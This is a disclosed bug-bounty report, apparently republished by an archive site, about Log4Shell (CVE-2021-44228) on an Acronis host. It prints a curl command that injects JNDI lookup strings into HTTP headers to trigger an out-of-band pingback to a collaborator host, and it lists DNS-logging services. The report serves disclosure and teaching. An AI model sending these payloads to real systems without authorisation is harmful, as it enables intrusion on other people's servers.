Skip to content
RCE Disclosed report Beginner CVE-2021-44228

[CVE-2021-44228] Arbitrary Code Execution on ng01-cloud.acronis.com

The application used a vulnerable Log4j version; JNDI strings in HTTP headers caused a pingback, indicating possible remote code execution.

mikkocarreon Follow

Originally disclosed on HackerOne

Critical 10.0 View original
  • Triaged in 7 hours
  • Fixed in 2 months
  • Paid in 36 days
  • Disclosed after 2.6 years

Description

The application is using a vulnerable version of Log4j which allows arbitrary remote command execution. The vulnerability is also known as Log4Shell and is assigned CVE-2021-44228.

Reproduction Steps

For easier reproduction, please use Burp Collaborator and issue the following curl command with your collaborator instance URL;

Bash
curl --http1.1 --silent --output /dev/null \
--header 'User-agent: ${jndi:ldap://${hostName}.<COLLABORATOR_URL>/a}' \
--header 'X-Forwarded-For: ${jndi:ldap://${hostName}.<COLLABORATOR_URL>/a}' \
--header 'Referer: ${jndi:ldap://${hostName}.<COLLABORATOR_URL>/a}' \
https://ng01-cloud.acronis.com

You should receive a request to your Collaborator Client with your server's hostname as the prefix. That should suffice to prove that the host is vulnerable. The hostname I received was ng01-cloud-elk-ls-vm01.

Note that it may take some time to receive the pingbacks. In case Burp Collaborator doesn't work, I'd advise using your own. Some alternatives are;

  1. dig.pm
  2. app.interactsh.com
  3. dnslog.cn
  4. pingb.in
  5. requestbin.net
  6. canarytokens.com

Reference

https://www.lunasec.io/docs/blog/log4j-zero-day/

Impact

Arbitrary remote code execution

The original report as published on HackerOne, by mikkocarreon. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Arbitrary remote code execution could be achieved, though the report only demonstrates a pingback and does not show actual code execution.

What the attacker needed

Ability to send HTTP requests to the target

How it was found

  1. Set up a Burp Collaborator instance or alternative DNS logging service.
  2. Send an HTTP request to the target with JNDI payloads in headers such as User-Agent, X-Forwarded-For, and Referer.
  3. Observe a request to the Collaborator server containing the target's hostname, confirming the vulnerability.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Log4j is a logging library used by many Java applications. It had a flaw where if it logged a special string like ${jndi:...}, it would fetch and run code from a remote server. This report shows that sending such a string in HTTP headers caused the server to make a request to the attacker's server, proving the vulnerability.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by mikkocarreon

View all

2 more disclosed reports, best first.

More from Acronis

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.